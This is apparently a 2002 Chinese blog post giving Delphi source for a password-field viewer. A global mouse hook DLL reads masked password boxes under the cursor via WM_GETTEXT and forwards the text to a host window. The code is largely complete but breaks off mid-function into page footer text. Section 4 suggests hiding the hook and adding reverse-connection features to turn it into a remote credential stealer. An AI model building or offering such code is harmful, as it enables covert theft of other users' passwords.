Windows文本框星号密码查看器

<iframe align="top" marginwidth="0" marginheight="0" src="http://www.zealware.com/csdnblog01.html" frameborder="0" width="728" scrolling="no" height="90"></iframe>

Windows文本框星号密码查看器

本人2002的学习作品

作者:成晓旭

1、 设计原理:注册一个系统级鼠标挂钩,通过监测系统鼠标所在Windows窗口来获取密码,成功获取密码之后,通过发送自定义的Windows系统消息,到宿主程序。

2、 Hook动态链接库设计原理:采用Windows Hook技术[鼠标挂钩],切入远程进程内部,并监测当前系统鼠标所在位置的当然窗口句柄(通过Windows APIWindowFromPoint()),获取窗口句柄之后,判断当然窗口是否为文本框,并进一步判断是否为密码框,当发现是密码输入框时,当此窗口发送WM_GETTEXT消息,获取密码。成功获取密码之后,发现自定义的WM_COPYDATA消息到宿主程序;

具体实现步骤简介:

1. 设置系统鼠标挂钩:

hkMouseHook := SetWindowsHookEx(WH_MOUSE,@CXX_MouseHookProc,hInstance,0);

2. 注销系统鼠标挂钩:

UnHookWindowsHookEx(hkMouseHook);

3. 监测当然窗口及窗口风格判断:

MousePos := pMhs.pt;

wnd := WindowFromPoint(pmhs.pt);

style := GetWindowLong(wnd,GWL_STYLE);

if (style and ES_PASSWORD) = ES_PASSWORD then

begin

//发现密码窗口

end;

4. 向密码框获取密码串:

SendMessage(wnd,WM_GETTEXT,256,Integer(@MouseTitle[0]));

5. 发送自定义消息到宿主程序:

GetMem(pmi,sizeof(TMouseInfo));

pmi.MouseX := pt.X;

pmi.MouseY := pt.Y;

pmi.MouseTitle := pwd;

GetMem(pcds,sizeof(TCopyDataStruct));

pcds.dwData := 9910;

pcds.cbData := sizeof(TMouseInfo);

pcds.lpData := pmi;

SendMessage(hDec,WM_COPYDATA,0,LPARAM(pcds));

3、 宿主程序设计原理:我的宿主程序是自己学习Windows SDK开发时作品,采用纯SDK实现。SDK的编程不用废话了吧。在这个工具程序中,只需要在系统消息处理方法中,增加一个对WM_COPYDATA的拦截及处理过程就可能了。

case uMsg of

WM_COPYDATA:

begin

CXX_ReceiveCopyData(uMsg);

end;

……

end;

4、 应用技术提点:这个是本人在2002年学习Microsoft Windows SDK编程技术时的学习作品。当然,有兴趣的话,你完全可以将其Hook进一步进行隐藏,并为其增加“端口反弹”或者“半连接”功能,宿主程序可以是自己的远程XXXXXX,哈哈,这样发布出来的话,想知道的东西就多了……

5、 完整源码代码:

1. Hook鼠标挂钩部分:

... {
产品名称:Windows 密码工具[Window98
/NT/2000/XP]
功能描述:截取Windows密码编辑框中的密码串
采用纯粹的SDK开发
能捕捉windows98
/NT/2000/XP的密码框中的""密码
开发平台:Windows2000
+Delphi6+MSDN+SDK
开发者:成晓旭
版权所有:成晓旭
模块设计者:成晓旭
设计思路:采用WindowsHook技术[鼠标挂钩],切入远程进程内部,
再发送WM_GETTEXT消息截取密码,最后用SendMessage发送
WM_COPYDATA消息自定义的密码信息结构体到目标窗口,以
显示或处理HookDLL所截取的远程进程的密码.
开始时间:2002年3月4日
完成时间:2002年5月24日[最终实现]
备注:此工具是本人在2002年开发的第二个软件
本工具在2000年6月份左右曾实现过一个Windows98下的
密码截取工具,两年以来,我一直没有放弃过实现Windows
操作系统下的所有密码的截取,如此,终于实现了两年以来
未曾实现的截取WindowsNT系列的密码.[
2002/05/24]
以后的路还很长:WindowNT系列的当前用户登录密码、
内存长驻的其它密码等等.
}

unitMouseHook;

interface
uses
Messages,Windows;
// ,SysUtils;

var

hkMouseHook:HHook;
ProcSafelyExit:Pointer;
uCXXMsg:UINT;
procedureDllEntryProc(ul_reason_for_call:DWORD);
procedureSetupHook(fSet:
boolean );stdcall;export;
functionCXX_MouseHookProc(iCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;
procedureAutoUnInstallHook();far;

implementation

usesDataStruct;


procedureCXX_SendCopyData(pt:TPoint;pwd:TMTitle);
var
pcds:PCopyDataStruct;
pmi:PMouseInfo;
hDec:THandle;
begin
hDec:
= Findwindow(Nil, ' WM_COPYDATA接收端 ' );
if hDec = 0 then
begin
MessageBox(
0 , ' 数据接收窗口没有找到,程序拒绝发送WM_COPYDATA消息! ' , ' 提示 ' ,MB_OKorMB_ICONWARNING);
Exit;
end;
try
GetMem(pmi,sizeof(TMouseInfo));
pmi.MouseX:
= pt.X;
pmi.MouseY:
= pt.Y;
pmi.MouseTitle:
= pwd;
GetMem(pcds,sizeof(TCopyDataStruct));
pcds.dwData:
= 9910 ;
pcds.cbData:
= sizeof(TMouseInfo);
pcds.lpData:
= pmi;
SendMessage(hDec,WM_COPYDATA,
0 ,LPARAM(pcds));
// PostMessage(hDec,WM_COPYDATA,Handle,LPARAM(pcds));
finally
FreeMem(pmi);
FreeMem(pcds);
end;
end;

functionCXX_MouseHookProc(iCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;
var
pMhs:PMOUSEHOOKSTRUCT;
wnd:HWND;
style:LongInt;
MousePos:TPoint;
MouseTitle:TMTitle;
begin
if iCode = HC_ACTIONthen
begin
FillChar(MouseTitle,
255 , 0 );
pMhs:
= PMOUSEHOOKSTRUCT(lParam);
MousePos:
= pMhs.pt;
wnd:
= WindowFromPoint(pmhs.pt);
style:
= GetWindowLong(wnd,GWL_STYLE);
if (styleandES_PASSWORD) = ES_PASSWORDthen
begin
SendMessage(wnd,WM_GETTEXT,
256 ,Integer(@MouseTitle[ 0 ]));
// 发送截取的信息[]
CXX_SendCopyData(MousePos,MouseTitle);
end;
end;
Result:
= CallNextHookEx(hkMouseHook,iCode,wParam,lParam);
end;

procedureSetupHook(fSet:
boolean );stdcall;export;
begin
if fSetthen
begin
if hkMouseHook 0 thenExit;
hkMouseHook:
= SetWindowsHookEx(WH_MOUSE,@CXX_MouseHookProc,hInstance, 0 );
// ifhkMouseHook0then
// MessageBox(0,'鼠标挂钩安装成功!!!','挂钩提示',MB_ICONINFORMATIONorMB_OK)
// else
// MessageBox(0,'鼠标挂钩安装失败!','挂钩提示',MB_ICONWARNINGorMB_OK);
end
else
begin
if hkMouseHook 0 then
begin
UnHookWindowsHookEx(hkMouseHook);
hkMouseHook:
= 0 ;
// ifhkMouseHook=0then
// MessageBox(0,'鼠标挂钩撤消成功!!!','挂钩提示',MB_ICONINFORMATIONorMB_OK)
// else
// MessageBox(0,'鼠标挂钩撤消失败!','挂钩提示',MB_ICONWARNINGorMB_OK);
end;
end;
end;

procedureDllEntryProc(ul_reason_for_call:DWORD);
begin
... {
iful_reason_for_call=DLL_PROCESS_ATTACHthen
begin
MessageBox(
0,'DLL_PROCESS_ATTACH','MouseDllHint',MB_OKorMB_ICONINFORMATION);
//uCXXMsg:=RegisterWindowMessage(SELF_MESSAGE_NAME);

end
elseiful_reason_for_call=DLL_PROCESS_DETACHthen
begin
MessageBox(
0,'DLL_PROCESS_DETACH','MouseDllHint',MB_OKorMB_ICONINFORMATION);
end;
}

end;

procedureAutoUnInstallHook();
begin
if hkMouseHook 0 then
SetupHook(False);
ExitProc:
= ProcSafelyExit;
end;

end.









2. 宿主程序部分:

此程序中,还有关于Windows程序资源加载以及窗口背景绘制等技术的演示。

... {
产品名称:Windows 密码工具
功能描述:截取Windows密码编辑框中的密码串
采用纯粹的SDK开发
开发平台:Windows2000
+Delphi6+MSDN+SDK
开发者:成晓旭
版权所有:成晓旭
模块设计者:成晓旭
开始时间:2002年3月4日
完成时间:2002年3月4日
修改时间1:2002年3月4日
备注:此工具是本人在2002年开发的第二个软件,
}


programMouseExe;
uses
Windows,
SysUtils,
Messages,
Tie_In_MHookin
' Tie_In_MHook.pas ' ,
DataStructin
' DataStruct.pas ' ;

... {$RMouseExe.res}
const
CXX_WND_CLASS
= ' DC_Password ' ; // 主窗口类名
CXX_WND_CAPTION = ' Window2000/XP密码捕捉工具 ' ;
CXX_PASSKEY
= ' chenxiaoxu ' ;
MOUSE_MOVE_TIMER
= WM_USER + 9910 ;
SELF_MESSAGE_NAME
= ' CXX_Test_Window_Message ' ;
var
hWndMain,
// 程序主窗口句柄
hBtnCheck, // 程序发送按钮句柄
hBtnClose, // 程序关闭按钮句柄
hStcPos, // 鼠标位置提示
hStcTitle, // 窗口标题提示
hEdtPos, // 鼠标当前位置
hEdtTitle: // 获取窗口标题
LongWord;
hInstMain:integer;
// 程序实例句柄
hBGBmp:HBITMAP; // 主窗口背景图片句柄
hCur:HICON;
uCXXMsg:UINT;
procedureCXX_SendCopyData();
var
pcds:PCopyDataStruct;
pmi:PMouseInfo;
hDec:THandle;
begin
hDec:
= Findwindow(Nil, ' WM_COPYDATA接收端 ' );
if hDec = 0 then
begin
MessageBox(hWndMain,
' 数据接收窗口没有找到,程序拒绝发送WM_COPYDATA消息! ' , '

' ,MB_OKorMB_ICONWARNING);
Exit;
end;
// try
GetMem(pmi,sizeof(TMouseInfo));
pmi.MouseX:
= 10 ;
pmi.MouseY:
= 50 ;
pmi.MouseTitle:
= ' chenxiaoxu ' ;
GetMem(pcds,sizeof(TCopyDataStruct));
pcds.dwData:
= 9910 ;
pcds.cbData:
= sizeof(TMouseInfo);
pcds.lpData:
= pmi;
SendMessage(hDec,WM_COPYDATA,hWndMain,LPARAM(pcds));
// PostMessage(hDec,WM_COPYDATA,Handle,LPARAM(pcds));
// finally
FreeMem(pmi);
FreeMem(pcds);
// end;
end;
procedureCXX_ReceiveCopyData(Msg:TMessage);
var
str:string;
begin
str:
= IntToStr(PMouseInfo(PCOPYDATASTRUCT(Msg.LParam) ^ .lpData) ^ .MouseX);
str:
= str + IntToStr(PMouseInfo(PCOPYDATASTRUCT(Msg.LParam) ^ .lpData) ^ .MouseY);
end;
// 绘制窗口位图背景函数
functionCXX_DrawBGBitmap(fdc:HDC;fBitmap:HBitmap): boolean ;
var
hdcMem:HDC;
rect:TRect;
bmp:Bitmap;
x,y:integer;
begin
// bmp:=nil;
Result: = False;
// 主窗口背景图片尚未加载,不能绘制窗口背景
if fBitmap = 0 thenExit;
// 获取绘图区域
GetClientRect(hWndMain,rect);
// 创建兼容内存设备描述表
hdcMem: = CreateCompatibleDC(fdc);
if hdcMem = 0 thenExit;
// 设置位图对象
if (GetObject(fBitmap,sizeof(Bitmap),@bmp) = 0 )thenExit;
// 设置内存设备描述表内容
if NOTBoolean(SelectObject(hdcMem,fBitmap))thenExit;
// 绘制窗口背景图片
x: = 0 ;
while (x rect.Right-rect.Left)do
begin
y:
=0;
while(yrect.Bottom-rect.Top)do</span
分享到:
评论
happmaoo
  • 浏览: 1294213 次
  • 性别: Icon_minigender_1
  • 来自: 杭州
社区版块
存档分类
最新评论

你可能感兴趣的:(数据结构,编程,windows,Microsoft,XP)